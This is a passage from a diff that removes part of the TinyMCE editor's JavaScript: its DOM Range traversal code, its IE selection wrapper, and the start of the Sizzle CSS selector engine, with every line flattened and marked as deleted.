0) - return container; - - child = container.firstChild; - while (child && offset > 0) { - --offset; - child = child.nextSibling; - } - - if (child) - return child; - - return container; - }; - - function _isCollapsed() { - return (t[START_CONTAINER] == t[END_CONTAINER] && t[START_OFFSET] == t[END_OFFSET]); - }; - - function _compareBoundaryPoints(containerA, offsetA, containerB, offsetB) { - var c, offsetC, n, cmnRoot, childA, childB; - - // In the first case the boundary-points have the same container. A is before B - // if its offset is less than the offset of B, A is equal to B if its offset is - // equal to the offset of B, and A is after B if its offset is greater than the - // offset of B. - if (containerA == containerB) { - if (offsetA == offsetB) - return 0; // equal - - if (offsetA < offsetB) - return -1; // before - - return 1; // after - } - - // In the second case a child node C of the container of A is an ancestor - // container of B. In this case, A is before B if the offset of A is less than or - // equal to the index of the child node C and A is after B otherwise. - c = containerB; - while (c && c.parentNode != containerA) - c = c.parentNode; - - if (c) { - offsetC = 0; - n = containerA.firstChild; - - while (n != c && offsetC < offsetA) { - offsetC++; - n = n.nextSibling; - } - - if (offsetA <= offsetC) - return -1; // before - - return 1; // after - } - - // In the third case a child node C of the container of B is an ancestor container - // of A. In this case, A is before B if the index of the child node C is less than - // the offset of B and A is after B otherwise. - c = containerA; - while (c && c.parentNode != containerB) { - c = c.parentNode; - } - - if (c) { - offsetC = 0; - n = containerB.firstChild; - - while (n != c && offsetC < offsetB) { - offsetC++; - n = n.nextSibling; - } - - if (offsetC < offsetB) - return -1; // before - - return 1; // after - } - - // In the fourth case, none of three other cases hold: the containers of A and B - // are siblings or descendants of sibling nodes. In this case, A is before B if - // the container of A is before the container of B in a pre-order traversal of the - // Ranges' context tree and A is after B otherwise. - cmnRoot = dom.findCommonAncestor(containerA, containerB); - childA = containerA; - - while (childA && childA.parentNode != cmnRoot) - childA = childA.parentNode; - - if (!childA) - childA = cmnRoot; - - childB = containerB; - while (childB && childB.parentNode != cmnRoot) - childB = childB.parentNode; - - if (!childB) - childB = cmnRoot; - - if (childA == childB) - return 0; // equal - - n = cmnRoot.firstChild; - while (n) { - if (n == childA) - return -1; // before - - if (n == childB) - return 1; // after - - n = n.nextSibling; - } - }; - - function _setEndPoint(st, n, o) { - var ec, sc; - - if (st) { - t[START_CONTAINER] = n; - t[START_OFFSET] = o; - } else { - t[END_CONTAINER] = n; - t[END_OFFSET] = o; - } - - // If one boundary-point of a Range is set to have a root container - // other than the current one for the Range, the Range is collapsed to - // the new position. This enforces the restriction that both boundary- - // points of a Range must have the same root container. - ec = t[END_CONTAINER]; - while (ec.parentNode) - ec = ec.parentNode; - - sc = t[START_CONTAINER]; - while (sc.parentNode) - sc = sc.parentNode; - - if (sc == ec) { - // The start position of a Range is guaranteed to never be after the - // end position. To enforce this restriction, if the start is set to - // be at a position after the end, the Range is collapsed to that - // position. - if (_compareBoundaryPoints(t[START_CONTAINER], t[START_OFFSET], t[END_CONTAINER], t[END_OFFSET]) > 0) - t.collapse(st); - } else - t.collapse(st); - - t.collapsed = _isCollapsed(); - t.commonAncestorContainer = dom.findCommonAncestor(t[START_CONTAINER], t[END_CONTAINER]); - }; - - function _traverse(how) { - var c, endContainerDepth = 0, startContainerDepth = 0, p, depthDiff, startNode, endNode, sp, ep; - - if (t[START_CONTAINER] == t[END_CONTAINER]) - return _traverseSameContainer(how); - - for (c = t[END_CONTAINER], p = c.parentNode; p; c = p, p = p.parentNode) { - if (p == t[START_CONTAINER]) - return _traverseCommonStartContainer(c, how); - - ++endContainerDepth; - } - - for (c = t[START_CONTAINER], p = c.parentNode; p; c = p, p = p.parentNode) { - if (p == t[END_CONTAINER]) - return _traverseCommonEndContainer(c, how); - - ++startContainerDepth; - } - - depthDiff = startContainerDepth - endContainerDepth; - - startNode = t[START_CONTAINER]; - while (depthDiff > 0) { - startNode = startNode.parentNode; - depthDiff--; - } - - endNode = t[END_CONTAINER]; - while (depthDiff < 0) { - endNode = endNode.parentNode; - depthDiff++; - } - - // ascend the ancestor hierarchy until we have a common parent. - for (sp = startNode.parentNode, ep = endNode.parentNode; sp != ep; sp = sp.parentNode, ep = ep.parentNode) { - startNode = sp; - endNode = ep; - } - - return _traverseCommonAncestors(startNode, endNode, how); - }; - - function _traverseSameContainer(how) { - var frag, s, sub, n, cnt, sibling, xferNode; - - if (how != DELETE) - frag = doc.createDocumentFragment(); - - // If selection is empty, just return the fragment - if (t[START_OFFSET] == t[END_OFFSET]) - return frag; - - // Text node needs special case handling - if (t[START_CONTAINER].nodeType == 3 /* TEXT_NODE */) { - // get the substring - s = t[START_CONTAINER].nodeValue; - sub = s.substring(t[START_OFFSET], t[END_OFFSET]); - - // set the original text node to its new value - if (how != CLONE) { - t[START_CONTAINER].deleteData(t[START_OFFSET], t[END_OFFSET] - t[START_OFFSET]); - - // Nothing is partially selected, so collapse to start point - t.collapse(TRUE); - } - - if (how == DELETE) - return; - - frag.appendChild(doc.createTextNode(sub)); - return frag; - } - - // Copy nodes between the start/end offsets. - n = _getSelectedNode(t[START_CONTAINER], t[START_OFFSET]); - cnt = t[END_OFFSET] - t[START_OFFSET]; - - while (cnt > 0) { - sibling = n.nextSibling; - xferNode = _traverseFullySelected(n, how); - - if (frag) - frag.appendChild( xferNode ); - - --cnt; - n = sibling; - } - - // Nothing is partially selected, so collapse to start point - if (how != CLONE) - t.collapse(TRUE); - - return frag; - }; - - function _traverseCommonStartContainer(endAncestor, how) { - var frag, n, endIdx, cnt, sibling, xferNode; - - if (how != DELETE) - frag = doc.createDocumentFragment(); - - n = _traverseRightBoundary(endAncestor, how); - - if (frag) - frag.appendChild(n); - - endIdx = nodeIndex(endAncestor); - cnt = endIdx - t[START_OFFSET]; - - if (cnt <= 0) { - // Collapse to just before the endAncestor, which - // is partially selected. - if (how != CLONE) { - t.setEndBefore(endAncestor); - t.collapse(FALSE); - } - - return frag; - } - - n = endAncestor.previousSibling; - while (cnt > 0) { - sibling = n.previousSibling; - xferNode = _traverseFullySelected(n, how); - - if (frag) - frag.insertBefore(xferNode, frag.firstChild); - - --cnt; - n = sibling; - } - - // Collapse to just before the endAncestor, which - // is partially selected. - if (how != CLONE) { - t.setEndBefore(endAncestor); - t.collapse(FALSE); - } - - return frag; - }; - - function _traverseCommonEndContainer(startAncestor, how) { - var frag, startIdx, n, cnt, sibling, xferNode; - - if (how != DELETE) - frag = doc.createDocumentFragment(); - - n = _traverseLeftBoundary(startAncestor, how); - if (frag) - frag.appendChild(n); - - startIdx = nodeIndex(startAncestor); - ++startIdx; // Because we already traversed it.... - - cnt = t[END_OFFSET] - startIdx; - n = startAncestor.nextSibling; - while (cnt > 0) { - sibling = n.nextSibling; - xferNode = _traverseFullySelected(n, how); - - if (frag) - frag.appendChild(xferNode); - - --cnt; - n = sibling; - } - - if (how != CLONE) { - t.setStartAfter(startAncestor); - t.collapse(TRUE); - } - - return frag; - }; - - function _traverseCommonAncestors(startAncestor, endAncestor, how) { - var n, frag, commonParent, startOffset, endOffset, cnt, sibling, nextSibling; - - if (how != DELETE) - frag = doc.createDocumentFragment(); - - n = _traverseLeftBoundary(startAncestor, how); - if (frag) - frag.appendChild(n); - - commonParent = startAncestor.parentNode; - startOffset = nodeIndex(startAncestor); - endOffset = nodeIndex(endAncestor); - ++startOffset; - - cnt = endOffset - startOffset; - sibling = startAncestor.nextSibling; - - while (cnt > 0) { - nextSibling = sibling.nextSibling; - n = _traverseFullySelected(sibling, how); - - if (frag) - frag.appendChild(n); - - sibling = nextSibling; - --cnt; - } - - n = _traverseRightBoundary(endAncestor, how); - - if (frag) - frag.appendChild(n); - - if (how != CLONE) { - t.setStartAfter(startAncestor); - t.collapse(TRUE); - } - - return frag; - }; - - function _traverseRightBoundary(root, how) { - var next = _getSelectedNode(t[END_CONTAINER], t[END_OFFSET] - 1), parent, clonedParent, prevSibling, clonedChild, clonedGrandParent, isFullySelected = next != t[END_CONTAINER]; - - if (next == root) - return _traverseNode(next, isFullySelected, FALSE, how); - - parent = next.parentNode; - clonedParent = _traverseNode(parent, FALSE, FALSE, how); - - while (parent) { - while (next) { - prevSibling = next.previousSibling; - clonedChild = _traverseNode(next, isFullySelected, FALSE, how); - - if (how != DELETE) - clonedParent.insertBefore(clonedChild, clonedParent.firstChild); - - isFullySelected = TRUE; - next = prevSibling; - } - - if (parent == root) - return clonedParent; - - next = parent.previousSibling; - parent = parent.parentNode; - - clonedGrandParent = _traverseNode(parent, FALSE, FALSE, how); - - if (how != DELETE) - clonedGrandParent.appendChild(clonedParent); - - clonedParent = clonedGrandParent; - } - }; - - function _traverseLeftBoundary(root, how) { - var next = _getSelectedNode(t[START_CONTAINER], t[START_OFFSET]), isFullySelected = next != t[START_CONTAINER], parent, clonedParent, nextSibling, clonedChild, clonedGrandParent; - - if (next == root) - return _traverseNode(next, isFullySelected, TRUE, how); - - parent = next.parentNode; - clonedParent = _traverseNode(parent, FALSE, TRUE, how); - - while (parent) { - while (next) { - nextSibling = next.nextSibling; - clonedChild = _traverseNode(next, isFullySelected, TRUE, how); - - if (how != DELETE) - clonedParent.appendChild(clonedChild); - - isFullySelected = TRUE; - next = nextSibling; - } - - if (parent == root) - return clonedParent; - - next = parent.nextSibling; - parent = parent.parentNode; - - clonedGrandParent = _traverseNode(parent, FALSE, TRUE, how); - - if (how != DELETE) - clonedGrandParent.appendChild(clonedParent); - - clonedParent = clonedGrandParent; - } - }; - - function _traverseNode(n, isFullySelected, isLeft, how) { - var txtValue, newNodeValue, oldNodeValue, offset, newNode; - - if (isFullySelected) - return _traverseFullySelected(n, how); - - if (n.nodeType == 3 /* TEXT_NODE */) { - txtValue = n.nodeValue; - - if (isLeft) { - offset = t[START_OFFSET]; - newNodeValue = txtValue.substring(offset); - oldNodeValue = txtValue.substring(0, offset); - } else { - offset = t[END_OFFSET]; - newNodeValue = txtValue.substring(0, offset); - oldNodeValue = txtValue.substring(offset); - } - - if (how != CLONE) - n.nodeValue = oldNodeValue; - - if (how == DELETE) - return; - - newNode = n.cloneNode(FALSE); - newNode.nodeValue = newNodeValue; - - return newNode; - } - - if (how == DELETE) - return; - - return n.cloneNode(FALSE); - }; - - function _traverseFullySelected(n, how) { - if (how != DELETE) - return how == CLONE ? n.cloneNode(TRUE) : n; - - n.parentNode.removeChild(n); - }; - }; - - ns.Range = Range; -})(tinymce.dom); - -(function() { - function Selection(selection) { - var t = this, invisibleChar = '\uFEFF', range, lastIERng, dom = selection.dom, TRUE = true, FALSE = false; - - // Returns a W3C DOM compatible range object by using the IE Range API - function getRange() { - var ieRange = selection.getRng(), domRange = dom.createRng(), element, collapsed; - - // If selection is outside the current document just return an empty range - element = ieRange.item ? ieRange.item(0) : ieRange.parentElement(); - if (element.ownerDocument != dom.doc) - return domRange; - - // Handle control selection or text selection of a image - if (ieRange.item || !element.hasChildNodes()) { - domRange.setStart(element.parentNode, dom.nodeIndex(element)); - domRange.setEnd(domRange.startContainer, domRange.startOffset + 1); - - return domRange; - } - - collapsed = selection.isCollapsed(); - - function findEndPoint(start) { - var marker, container, offset, nodes, startIndex = 0, endIndex, index, parent, checkRng, position; - - // Setup temp range and collapse it - checkRng = ieRange.duplicate(); - checkRng.collapse(start); - - // Create marker and insert it at the end of the endpoints parent - marker = dom.create('a'); - parent = checkRng.parentElement(); - - // If parent doesn't have any children then set the container to that parent and the index to 0 - if (!parent.hasChildNodes()) { - domRange[start ? 'setStart' : 'setEnd'](parent, 0); - return; - } - - parent.appendChild(marker); - checkRng.moveToElementText(marker); - position = ieRange.compareEndPoints(start ? 'StartToStart' : 'EndToEnd', checkRng); - if (position > 0) { - // The position is after the end of the parent element. - // This is the case where IE puts the caret to the left edge of a table. - domRange[start ? 'setStartAfter' : 'setEndAfter'](parent); - dom.remove(marker); - return; - } - - // Setup node list and endIndex - nodes = tinymce.grep(parent.childNodes); - endIndex = nodes.length - 1; - // Perform a binary search for the position - while (startIndex <= endIndex) { - index = Math.floor((startIndex + endIndex) / 2); - - // Insert marker and check it's position relative to the selection - parent.insertBefore(marker, nodes[index]); - checkRng.moveToElementText(marker); - position = ieRange.compareEndPoints(start ? 'StartToStart' : 'EndToEnd', checkRng); - if (position > 0) { - // Marker is to the right - startIndex = index + 1; - } else if (position < 0) { - // Marker is to the left - endIndex = index - 1; - } else { - // Maker is where we are - found = true; - break; - } - } - - // Setup container - container = position > 0 || index == 0 ? marker.nextSibling : marker.previousSibling; - - // Handle element selection - if (container.nodeType == 1) { - dom.remove(marker); - - // Find offset and container - offset = dom.nodeIndex(container); - container = container.parentNode; - - // Move the offset if we are setting the end or the position is after an element - if (!start || index > 0) - offset++; - } else { - // Calculate offset within text node - if (position > 0 || index == 0) { - checkRng.setEndPoint(start ? 'StartToStart' : 'EndToEnd', ieRange); - offset = checkRng.text.length; - } else { - checkRng.setEndPoint(start ? 'StartToStart' : 'EndToEnd', ieRange); - offset = container.nodeValue.length - checkRng.text.length; - } - - dom.remove(marker); - } - - domRange[start ? 'setStart' : 'setEnd'](container, offset); - }; - - // Find start point - findEndPoint(true); - - // Find end point if needed - if (!collapsed) - findEndPoint(); - - return domRange; - }; - - this.addRange = function(rng) { - var ieRng, ctrlRng, startContainer, startOffset, endContainer, endOffset, doc = selection.dom.doc, body = doc.body; - - function setEndPoint(start) { - var container, offset, marker, tmpRng, nodes; - - marker = dom.create('a'); - container = start ? startContainer : endContainer; - offset = start ? startOffset : endOffset; - tmpRng = ieRng.duplicate(); - - if (container == doc) { - container = body; - offset = 0; - } - - if (container.nodeType == 3) { - container.parentNode.insertBefore(marker, container); - tmpRng.moveToElementText(marker); - tmpRng.moveStart('character', offset); - dom.remove(marker); - ieRng.setEndPoint(start ? 'StartToStart' : 'EndToEnd', tmpRng); - } else { - nodes = container.childNodes; - - if (nodes.length) { - if (offset >= nodes.length) { - dom.insertAfter(marker, nodes[nodes.length - 1]); - } else { - container.insertBefore(marker, nodes[offset]); - } - - tmpRng.moveToElementText(marker); - } else { - // Empty node selection for example <div>|</div> - marker = doc.createTextNode(invisibleChar); - container.appendChild(marker); - tmpRng.moveToElementText(marker.parentNode); - tmpRng.collapse(TRUE); - } - - ieRng.setEndPoint(start ? 'StartToStart' : 'EndToEnd', tmpRng); - dom.remove(marker); - } - } - - // Destroy cached range - this.destroy(); - - // Setup some shorter versions - startContainer = rng.startContainer; - startOffset = rng.startOffset; - endContainer = rng.endContainer; - endOffset = rng.endOffset; - ieRng = body.createTextRange(); - - // If single element selection then try making a control selection out of it - if (startContainer == endContainer && startContainer.nodeType == 1 && startOffset == endOffset - 1) { - if (startOffset == endOffset - 1) { - try { - ctrlRng = body.createControlRange(); - ctrlRng.addElement(startContainer.childNodes[startOffset]); - ctrlRng.select(); - ctrlRng.scrollIntoView(); - return; - } catch (ex) { - // Ignore - } - } - } - - // Set start/end point of selection - setEndPoint(true); - setEndPoint(); - - // Select the new range and scroll it into view - ieRng.select(); - ieRng.scrollIntoView(); - }; - - this.getRangeAt = function() { - // Setup new range if the cache is empty - if (!range || !tinymce.dom.RangeUtils.compareRanges(lastIERng, selection.getRng())) { - range = getRange(); - - // Store away text range for next call - lastIERng = selection.getRng(); - } - - // IE will say that the range is equal then produce an invalid argument exception - // if you perform specific operations in a keyup event. For example Ctrl+Del. - // This hack will invalidate the range cache if the exception occurs - try { - range.startContainer.nextSibling; - } catch (ex) { - range = getRange(); - lastIERng = null; - } - - // Return cached range - return range; - }; - - this.destroy = function() { - // Destroy cached range and last IE range to avoid memory leaks - lastIERng = range = null; - }; - - // IE has an issue where you can't select/move the caret by clicking outside the body if the document is in standards mode - if (selection.dom.boxModel) { - (function() { - var doc = dom.doc, body = doc.body, started, startRng; - - // Make HTML element unselectable since we are going to handle selection by hand - doc.documentElement.unselectable = TRUE; - - // Return range from point or null if it failed - function rngFromPoint(x, y) { - var rng = body.createTextRange(); - - try { - rng.moveToPoint(x, y); - } catch (ex) { - // IE sometimes throws and exception, so lets just ignore it - rng = null; - } - - return rng; - }; - - // Fires while the selection is changing - function selectionChange(e) { - var pointRng; - - // Check if the button is down or not - if (e.button) { - // Create range from mouse position - pointRng = rngFromPoint(e.x, e.y); - - if (pointRng) { - // Check if pointRange is before/after selection then change the endPoint - if (pointRng.compareEndPoints('StartToStart', startRng) > 0) - pointRng.setEndPoint('StartToStart', startRng); - else - pointRng.setEndPoint('EndToEnd', startRng); - - pointRng.select(); - } - } else - endSelection(); - } - - // Removes listeners - function endSelection() { - dom.unbind(doc, 'mouseup', endSelection); - dom.unbind(doc, 'mousemove', selectionChange); - started = 0; - }; - - // Detect when user selects outside BODY - dom.bind(doc, 'mousedown', function(e) { - if (e.target.nodeName === 'HTML') { - if (started) - endSelection(); - - started = 1; - - // Setup start position - startRng = rngFromPoint(e.x, e.y); - if (startRng) { - // Listen for selection change events - dom.bind(doc, 'mouseup', endSelection); - dom.bind(doc, 'mousemove', selectionChange); - - startRng.select(); - } - } - }); - })(); - } - }; - - // Expose the selection object - tinymce.dom.TridentSelection = Selection; -})(); - - -/* - * Sizzle CSS Selector Engine - v1.0 - * Copyright 2009, The Dojo Foundation - * Released under the MIT, BSD, and GPL Licenses. - * More information: http://sizzlejs.com/ - */ -(function(){ - -var chunker = /((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g, - done = 0, - toString = Object.prototype.toString, - hasDuplicate = false, - baseHasDuplicate = true; - -// Here we check if the JavaScript engine is using some sort of -// optimization where it does not always call our comparision -// function. If that is the case, discard the hasDuplicate value. -// Thus far that includes Google Chrome. -[0, 0].sort(function(){ - baseHasDuplicate = false; - return 0; -}); - -var Sizzle = function(selector, context, results, seed) { - results = results || []; - context = context || document; - - var origContext = context; - - if ( context.nodeType !== 1 && context.nodeType !== 9 ) { - return []; - } - - if ( !selector || typeof selector !== "string" ) { - return results; - } - - var parts = [], m, set, checkSet, extra, prune = true, contextXML = Sizzle.isXML(context), - soFar = selector, ret, cur, pop, i; - - // Reset the position of the chunker regexp (start from head) - do { - chunker.exec(""); - m = chunker.exec(soFar); - - if ( m ) { - soFar = m[3]; - - parts.push( m[1] ); - - if ( m[2] ) { - extra = m[3]; - break; - } - } - } while ( m ); - - if ( parts.length > 1 && origPOS.exec( selector ) ) { - if ( parts.length === 2 && Expr.relative[ parts[0] ] ) { - set = posProcess( parts[0] + parts[1], context ); - } else { - set = Expr.relative[ parts[0] ] ? - [ context ] : - Sizzle( parts.shift(), context ); - - while ( parts.length ) { - selector = parts.shift(); - - if ( Expr.relative[ selector ] ) { - selector += parts.shift(); - } - - set = posProcess( selector, set ); - } - } - } else { - // Take a shortcut and set the context if the root selector is an ID - // (but not if it'll be faster if the inner selector is an ID) - if ( !seed && parts.length > 1 && context.nodeType === 9 && !contextXML && - Expr.match.ID.test(parts[0]) && !Expr.match.ID.test(parts[parts.length - 1]) ) { - ret = Sizzle.find( parts.shift(), context, contextXML ); - context = ret.expr ? Sizzle.filter( ret.expr, ret.set )[0] : ret.set[0]; - } - - if ( context ) { - ret = seed ? - { expr: parts.pop(), set: makeArray(seed) } : - Sizzle.find( parts.pop(), parts.length === 1 && (parts[0] === "~" || parts[0] === "+") && context.parentNode ? context.parentNode : context, contextXML ); - set = ret.expr ? Sizzle.filter( ret.expr, ret.set ) : ret.set; - - if ( parts.length > 0 ) { - checkSet = makeArray(set); - } else { - prune = false; - } - - while ( parts.length ) { - cur = parts.pop(); - pop = cur; - - if ( !Expr.relative[ cur ] ) { - cur = ""; - } else { - pop = parts.pop(); - } - - if ( pop == null ) { - pop = context; - } - - Expr.relative[ cur ]( checkSet, pop, contextXML ); - } - } else { - checkSet = parts = []; - } - } - - if ( !checkSet ) { - checkSet = set; - } - - if ( !checkSet ) { - Sizzle.error( cur || selector ); - } - - if ( toString.call(checkSet) === "[object Array]" ) { - if ( !prune ) { - results.push.apply( results, checkSet ); - } else if ( context && context.nodeType === 1 ) { - for ( i = 0; checkSet[i] != null; i++ ) { - if ( checkSet[i] && (checkSet[i] === true || checkSet[i].nodeType === 1 && Sizzle.contains(context, checkSet[i])) ) { - results.push( set[i] ); - } - } - } else { - for ( i = 0; checkSet[i] != null; i++ ) { - if ( checkSet[i] && checkSet[i].nodeType === 1 ) { - results.push( set[i] ); - } - } - } - } else { - makeArray( checkSet, results ); - } - - if ( extra ) { - Sizzle( extra, origContext, results, seed ); - Sizzle.uniqueSort( results ); - } - - return results; -}; - -Sizzle.uniqueSort = function(results){ - if ( sortOrder ) { - hasDuplicate = baseHasDuplicate; - results.sort(sortOrder); - - if ( hasDuplicate ) { - for ( var i = 1; i < results.length; i++ ) { - if ( results[i] === results[i-1] ) { - results.splice(i--, 1); - } - } - } - } - - return results; -}; - -Sizzle.matches = function(expr, set){ - return Sizzle(expr, null, null, set); -}; - -Sizzle.find = function(expr, context, isXML){ - var set; - - if ( !expr ) { - return []; - } - - for ( var i = 0, l = Expr.order.length; i < l; i++ ) { - var type = Expr.order[i], match; - - if ( (match = Expr.leftMatch[ type ].exec( expr )) ) { - var left = match[1]; - match.splice(1,1); - - if ( left.substr( left.length - 1 ) !== "\\" ) { - match[1] = (match[1] || "").replace(/\\/g, ""); - set = Expr.find[ type ]( match, context, isXML ); - if ( set != null ) { - expr = expr.replace( Expr.match[ type ], "" ); - break; - } - } - } - } - - if ( !set ) { - set = context.getElementsByTagName("*"); - } - - return {set: set, expr: expr}; -}; - -Sizzle.filter = function(expr, set, inplace, not){ - var old = expr, result = [], curLoop = set, match, anyFound, - isXMLFilter = set && set[0] && Sizzle.isXML(set[0]); - - while ( expr && set.length ) { - for ( var type in Expr.filter ) { - if ( (match = Expr.leftMatch[ type ].exec( expr )) != null && match[2] ) { - var filter = Expr.filter[ type ], found, item, left = match[1]; - anyFound = false; - - match.splice(1,1); - - if ( left.substr( left.length - 1 ) === "\\" ) { - continue; - } - - if ( curLoop === result ) { - result = []; - } - - if ( Expr.preFilter[ type ] ) { - match = Expr.preFilter[ type ]( match, curLoop, inplace, result, not, isXMLFilter ); - - if ( !match ) { - anyFound = found = true; - } else if ( match === true ) { - continue; - } - } - - if ( match ) { - for ( var i = 0; (item = curLoop[i]) != null; i++ ) { - if ( item ) { - found = filter( item, match, i, curLoop ); - var pass = not ^ !!found; - - if ( inplace && found != null ) { - if ( pass ) { - anyFound = true; - } else { - curLoop[i] = false; - } - } else if ( pass ) { - result.push( item ); - anyFound = true; - } - } - } - } - - if ( found !== undefined ) { - if ( !inplace ) { - curLoop = result; - } - - expr = expr.replace( Expr.match[ type ], "" ); - - if ( !anyFound ) { - return []; - } - - break; - } - } - } - - // Improper expression - if ( expr === old ) { - if ( anyFound == null ) { - Sizzle.error( expr ); - } else { - break; - } - } - - old = expr; - } - - return curLoop; -}; - -Sizzle.error = function( msg ) { - throw "Syntax error, unrecognized expression: " + msg; -}; - -var Expr = Sizzle.selectors = { - order: [ "ID", "NAME", "TAG" ], - match: { - ID: /#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, - CLASS: /\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/, - NAME: /\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/, - ATTR: /\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(['"]*)(.*?)\3|)\s*\]/, - TAG: /^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/, - CHILD: /:(only|nth|last|first)-child(?:\((even|odd|[\dn+\-]*)\))?/, - POS: /:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/, - PSEUDO: /:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/ - }, - leftMatch: {}, - attrMap: { - "class": "className", - "for": "htmlFor" - }, - attrHandle: { - href: function(elem){ - return elem.getAttribute("href"); - } - }, - relative: { - "+": function(checkSet, part){ - var isPartStr = typeof part === "string", - isTag = isPartStr && !/\W/.test(part), - isPartStrNotTag = isPartStr && !isTag; - - if ( isTag ) { - part = part.toLowerCase(); - } - - for ( var i = 0, l = checkSet.length, elem; i < l; i++ ) { - if ( (elem = checkSet[i]) ) { - while ( (elem = elem.previousSibling) && elem.nodeType !== 1 ) {} - - checkSet[i] = isPartStrNotTag || elem && elem.nodeName.toLowerCase() === part ? - elem || false : - elem === part; - } - } - - if ( isPartStrNotTag ) { - Sizzle.filter( part, checkSet, true ); - } - }, - ">": function(checkSet, part){ - var isPartStr = typeof part === "string", - elem, i = 0, l = checkSet.length; - - if ( isPartStr && !/\W/.test(part) ) { - part = part.toLowerCase(); - - for ( ; i < l; i++ ) { - elem = checkSet[i]; - if ( elem ) { - var parent = elem.parentNode; - checkSet[i] = parent.nodeName.toLowerCase() === part ? parent : false; - } - } - } else { - for ( ; i < l; i++ ) { - elem = checkSet[i]; - if ( elem ) { - checkSet[i] = isPartStr ? - elem.parentNode : - elem.parentNode === part; - } - } - - if ( isPartStr ) { - Sizzle.filter( part, checkSet, true ); - } - } - }, - "": function(checkSet, part, isXML){ - var doneName = done++, checkFn = dirCheck, nodeCheck; - - if ( typeof part === "string" && !/\W/.test(part) ) { - part = part.toLowerCase(); - nodeCheck = part; - checkFn = dirNodeCheck; - } - - checkFn("parentNode", part, doneName, checkSet, nodeCheck, isXML); - }, - "~": function(checkSet, part, isXML){ - var doneName = done++, checkFn = dirCheck, nodeCheck; - - if ( typeof part === "string" && !/\W/.test(part) ) { - part = part.toLowerCase(); - nodeCheck = part; - checkFn = dirNodeCheck; - } - - checkFn("previousSibling", part, doneName, checkSet, nodeCheck, isXML); - } - }, - find: { - ID: function(match, context, isXML){ - if ( typeof context.getElementById !== "undefined" && !isXML ) { - var m = context.getElementById(match[1]); - return m ? [m] : []; - } - }, - NAME: function(match, context){ - if ( typeof context.getElementsByName !== "undefined" ) { - var ret = [], results = context.getElementsByName(match[1]); - - for ( var i = 0, l = results.length; i < l; i++ ) { - if ( results[i].getAttribute("name") === match[1] ) { - ret.push( results[i] ); - } - } - - return ret.length === 0 ? null : ret; - } - }, - TAG: function(match, context){ - return context.getElementsByTagName(match[1]); - } - }, - preFilter: { - CLASS: function(match, curLoop, inplace, result, not, isXML){ - match = " " + match[1].replace(/\\/g, "") + " "; - - if ( isXML ) { - return match; - } - - for ( var i = 0, elem; (elem = curLoop[i]) != null; i++ ) { - if ( elem ) { - if ( not ^ (elem.className && (" " + elem.className + " ").replace(/[\t\n]/g, " ").indexOf(match) >= 0) ) { - if ( !inplace ) { - result.push( elem ); - } - } else if ( inplace ) { - curLoop[i] = false; - } - } - } - - return false; - }, - ID: function(match){ - return match[1].replace(/\\/g, ""); - }, - TAG: function(match, curLoop){ - return match[1].toLowerCase(); - }, - CHILD: function(match){ - if ( match[1] === "nth" ) { - // parse equations like 'even', 'odd', '5', '2n', '3n+2', '4n-1', '-n+6' - var test = /(-?)(\d*)n((?:\+|-)?\d*)/.exec( - match[2] === "even" && "2n" || match[2] === "odd" && "2n+1" || - !/\D/.test( match[2] ) && "0n+" + match[2] || match[2]); - - // calculate the numbers (first)n+(last) including if they are negative - match[2] = (test[1] + (test[2] || 1)) - 0; - match[3] = test[3] - 0; - } - - // TODO: Move to normal caching system - match[0] = done++; - - return match; - }, - ATTR: function(match, curLoop, inplace, result, not, isXML){ - var name = match[1].replace(/\\/g, ""); - - if ( !isXML && Expr.attrMap[name] ) { - match[1] = Expr.attrMap[name]; - } - - if ( match[2] === "~=" ) { - match[4] = " " + match[4] + " "; - } - - return match; - }, - PSEUDO: function(match, curLoop, inplace, result, not){ - if ( match[1] === "not" ) { - // If we're dealing with a complex expression, or a simple one - if ( ( chunker.exec(match[3]) || "" ).length > 1 || /^\w/.test(match[3]) ) { - match[3] = Sizzle(match[3], null, null, curLoop); - } else { - var ret = Sizzle.filter(match[3], curLoop, inplace, true ^ not); - if ( !inplace ) { - result.push.apply( result, ret ); - } - return false; - } - } else if ( Expr.match.POS.test( match[0] ) || Expr.match.CHILD.test( match[0] ) ) { - return true; - } - - return match; - }, - POS: function(match){ - match.unshift( true ); - return match; - } - }, - filters: { - enabled: function(elem){ - return elem.disabled === false && elem.type !== "hidden"; - }, - disabled: function(elem){ - return elem.disabled === true; - }, - checked: function(elem){ - return elem.checked === true; - }, - selected: function(elem){ - // Accessing this property makes selected-by-default - // options in Safari work properly - elem.parentNode.selectedIndex; - return elem.selected === true; - }, - parent: function(elem){ - return !!elem.firstChild; - }, - empty: function(elem){ - return !elem.firstChild; - }, - has: function(elem, i, match){ - return !!Sizzle( match[3], elem ).length; - }, - header: function(elem){ - return (/h\d/i).test( elem.nodeName ); - }, - text: function(elem){ - return "text" === elem.type; - }, - radio: function(elem){ - return "radio" === elem.type; - }, - checkbox: function(elem){ - return "checkbox" === elem.type; - }, - file: function(elem){ - return "file" === elem.type; - }, - password: function(elem){ - return "password" === elem.type; - }, - submit: function(elem){ - return "submit" === elem.type; - }, - image: function(elem){ - return "image" === elem.type; - }, - reset: function(elem){ - return "reset" === elem.type; - }, - button: function(elem){ - return "button" === elem.type || elem.nodeName.toLowerCase() === "button"; - }, - input: function(elem){ - return (/input|select|textarea|button/i).test(elem.nodeName); - } - }, - setFilters: { - first: function(elem, i){ - return i === 0; - }, - last: function(elem, i, match, array){ - return i === array.length - 1; - }, - even: function(elem, i){ - return i % 2 === 0; - }, - odd: function(elem, i){ - return i % 2 === 1; - }, - lt: function(elem, i, match){ - return i < match[3] - 0; - }, - gt: function(elem, i, match){ - return i > match[3] - 0; - }, - nth: function(elem, i, match){ - return match[3] - 0 === i; - }, - eq: function(elem, i, match){ - return match[3] - 0 === i; - } - }, - filter: { - PSEUDO: function(elem, match, i, array){ - var name = 